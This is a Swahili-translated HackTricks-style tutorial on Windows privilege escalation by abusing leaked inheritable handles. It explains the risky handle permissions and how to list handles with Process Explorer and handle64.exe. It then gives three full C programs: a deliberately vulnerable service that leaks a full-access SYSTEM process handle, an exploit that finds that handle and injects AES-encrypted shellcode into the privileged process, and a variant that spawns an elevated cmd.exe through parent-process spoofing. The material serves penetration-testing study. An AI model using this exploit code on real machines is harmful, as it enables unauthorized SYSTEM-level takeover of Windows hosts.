Leaked Handle Exploitation

Last updated 4 months ago

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Introduction

Handles katika mchakato huruhusu kupata rasilimali tofauti za Windows:

Kumekuwa na kesi kadhaa za kuinua mamlaka ambapo mchakato wenye mamlaka wenye mikono wazi na inayorithiwa umekuwa ukikimbia mchakato usio na mamlaka ukimpa ufikiaji wa mikono hiyo yote.

Kwa mfano, fikiria kwamba mchakato unaokimbia kama SYSTEM unafungua mchakato mpya (OpenProcess()) kwa ufikiaji kamili. Mchakato huo huo pia unaunda mchakato mpya (CreateProcess()) kwa mamlaka ya chini lakini ukirithi mikono yote wazi ya mchakato mkuu. Kisha, ikiwa una ufikiaji kamili kwa mchakato wa chini wa mamlaka, unaweza kuchukua mkono wazi wa mchakato wenye mamlaka ulioanzishwa na OpenProcess() na kuingiza shellcode.

Mikono ya Kuvutia

Mchakato

Kama unavyosoma katika mfano wa awali ikiwa mchakato usio na mamlaka unarithi mkono wa mchakato wa mchakato wenye mamlaka wenye ruhusa za kutosha utaweza kutekeleza kodia yoyote juu yake.

Katika hiki kifungu bora unaweza kuona jinsi ya kutumia mkono wowote wa mchakato ambao una mojawapo ya ruhusa zifuatazo:

PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE

Thread

Kama ilivyo kwa mikono ya mchakato, ikiwa mchakato usio na mamlaka unarithi mkono wa thread wa mchakato wenye mamlaka wenye ruhusa za kutosha utaweza kutekeleza kodia yoyote juu yake.

Katika hiki kifungu bora unaweza pia kuona jinsi ya kutumia mkono wowote wa mchakato ambao una mojawapo ya ruhusa zifuatazo:

THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT

Mikono ya Faili, Funguo & Sehemu

Ikiwa mchakato usio na mamlaka unarithi mkono wenye kuandika sawa na ruhusa juu ya faili au rejista yenye mamlaka, utaweza kuandika upya faili/rejista (na kwa bahati nyingi, kuinua mamlaka).

Mikono ya Sehemu ni sawa na mikono ya faili, jina la kawaida la aina hii ya vitu ni "File Mapping". Zinatumika kufanya kazi na faili kubwa bila kuweka faili nzima kwenye kumbukumbu. Hii inafanya matumizi kuwa "sawa" na matumizi ya Mkono wa Faili.

Jinsi ya kuona mikono ya michakato

Mchambuzi wa Mchakato

Mchambuzi wa Mchakato ni chombo unachoweza kupakua bure. Kina chaguzi kadhaa za kushangaza za kukagua michakato na moja yao ni uwezo wa kuona mikono ya kila mchakato.

Kumbuka kwamba ili kuona mikono yote ya michakato yote, SeDebugPrivilege inahitajika (hivyo unahitaji kuendesha Mchambuzi wa Mchakato kama msimamizi).

Ili kuona mikono ya mchakato, bonyeza kulia kwenye mchakato na uchague Mikono:

Kisha unaweza kubonyeza kulia kwenye mkono na kuangalia ruhusa:

Mikono ya Sysinternals

Mikono binary kutoka Sysinternals pia itataja mikono kwa kila mchakato kwenye console:

LeakedHandlesFinder

Chombo hiki kinakuruhusu kufuatilia mikono iliyovuja na hata kujiendesha ili kuinua mamlaka.

Mbinu

Sasa kwamba unajua jinsi ya kupata mikono ya michakato unachohitaji kuangalia ni ikiwa mchakato usio na mamlaka unapata ufikiaji wa mikono yenye mamlaka. Katika hali hiyo, mtumiaji wa mchakato anaweza kuwa na uwezo wa kupata mkono na kuutumia vibaya ili kuinua mamlaka.

Ilisemwa hapo awali kwamba unahitaji SeDebugPrivilege ili kupata mikono yote. Lakini mtumiaji bado anaweza kupata mikono ya michakato yake, hivyo inaweza kuwa na manufaa ikiwa unataka privesc kutoka kwa mtumiaji huyo ili kutekeleza zana kwa ruhusa za kawaida za mtumiaji.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Mfano Uliokumbwa

Kwa mfano, msimbo ufuatao unamhusisha huduma ya Windows ambayo itakuwa na udhaifu. Msimbo dhaifu wa binary ya huduma hii uko ndani ya Exploit kazi. Kazi hii inaanza kuunda mchakato mpya wa kushughulikia kwa ufaccess kamili. Kisha, inaunda mchakato wa chini wa kibali (kwa kunakili token ya chini ya kibali ya explorer.exe) ikitekeleza C:\users\username\desktop\client.exe. Udhaifu uko katika ukweli kwamba inaunda mchakato wa chini wa kibali na bInheritHandles kama TRUE.

Hivyo, mchakato huu wa chini wa kibali unaweza kuchukua kushughulikia ya mchakato wa juu wa kibali ulioanzishwa kwanza na kuingiza na kutekeleza shellcode (angalia sehemu inayofuata).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Mfano wa Ukatili 1

Katika hali halisi huenda usimudu kudhibiti binary ambayo itatekelezwa na msimbo ulio hatarini (C:\users\username\desktop\client.exe katika kesi hii). Huenda ukaharibu mchakato na utahitaji kuangalia kama unaweza kufikia handle yoyote hatarini ya mchakato wowote wenye mamlaka.

Katika mfano huu unaweza kupata msimbo wa ukatili unaowezekana kwa C:\users\username\desktop\client.exe. Sehemu ya kuvutia zaidi ya msimbo huu iko katika GetVulnProcHandle. Kazi hii itaanza kuchota handles zote, kisha itakagua kama yoyote yao inamhusisha PID sawa na kama handle inamhusisha mchakato. Ikiwa masharti haya yote yanakamilika (handle ya mchakato wazi inayoweza kufikiwa inapatikana), inajaribu kuiingiza na kutekeleza shellcode kwa kutumia handle ya mchakato. Uingizaji wa shellcode unafanywa ndani ya Inject kazi na itakuwa tu inaandika shellcode ndani ya mchakato wenye mamlaka na kuunda nyuzi ndani ya mchakato huo huo ili kutekeleza shellcode).

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// find a leaked handle to a process
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();

return 0;
}

Mfano wa Kutumia

Katika hali halisi huenda usimudu binari ambayo itatekelezwa na msimbo ulio na udhaifu (C:\users\username\desktop\client.exe katika kesi hii). Huenda ukaharibu mchakato na utahitaji kuangalia kama unaweza kufikia handle yoyote iliyo na udhaifu ya mchakato wowote wenye mamlaka.

Katika mfano huu, badala ya kutumia handle iliyo wazi kuingiza na kutekeleza shellcode, itakuwa inatumika token ya mchakato wa handle iliyo wazi yenye mamlaka kuunda mpya. Hii inafanywa katika mistari kutoka 138 hadi 148.

Angalia jinsi kazi UpdateProcThreadAttribute inavyotumika na sifa PROC_THREAD_ATTRIBUTE_PARENT_PROCESS na handle ya mchakato wa wazi wenye mamlaka. Hii inamaanisha kwamba mchakato wa thread ulioanzishwa ukitekeleza _cmd.exe_** utakuwa na mamlaka sawa ya token kama mchakato wa handle iliyo wazi**.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

Other tools and examples

https://github.com/lab52io/LeakedHandlesFinder

Chombo hiki kinakuruhusu kufuatilia handles zilizovuja ili kupata zile zenye hatari na hata kuzi exploit kiotomatiki. Pia kina chombo cha kuvuja moja.

https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles

Chombo kingine cha kuvuja handle na kuzi exploit.

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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